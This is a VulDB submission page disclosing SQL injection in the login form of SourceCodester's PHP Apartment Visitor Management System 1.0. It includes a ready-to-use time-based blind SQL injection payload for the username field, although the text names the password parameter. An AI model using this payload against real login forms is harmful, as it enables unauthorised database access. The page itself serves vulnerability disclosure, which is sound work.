Submeter #42901: Apartment Visitor Management System-SQL injections

Apartment Visitor Management System-SQL injections

Date:
2022-08/06

Exploit Author:
[email protected]

Vendor Homepage:
https://www.sourcecodester.com

Software Link:
https://www.sourcecodester.com/php-apartment-visitor-management-system-source-code

Version:
1.0

/index.php
”password“Parameters have SQL injections

POC
login=&password=admin123&username=' AND (SELECT 4955 FROM (SELECT(SLEEP(5)))RSzF) AND 'htiy'='htiy

details:
https://github.com/anx0ing/CVE_demo/blob/main/2022/Apartment%20Visitor%20Management%20System-SQL%20injections.md

• Fonte: ⚠️ https://www.sourcecodester.com/php-apartment-visitor-management-system-source-code
• Utilizador: anx0ing (UID 30698)
• Submissão: 05/08/2022 18h32 (há 4 anos)
• Moderação: 05/08/2022 20h41 (2 hours later)
• Estado: Aceite
• Entrada VulDB: 205665 [SourceCodester Apartment Visitor Management System 1.0 index.php Nome de utilizador Injeção SQL]
• Pontos: 17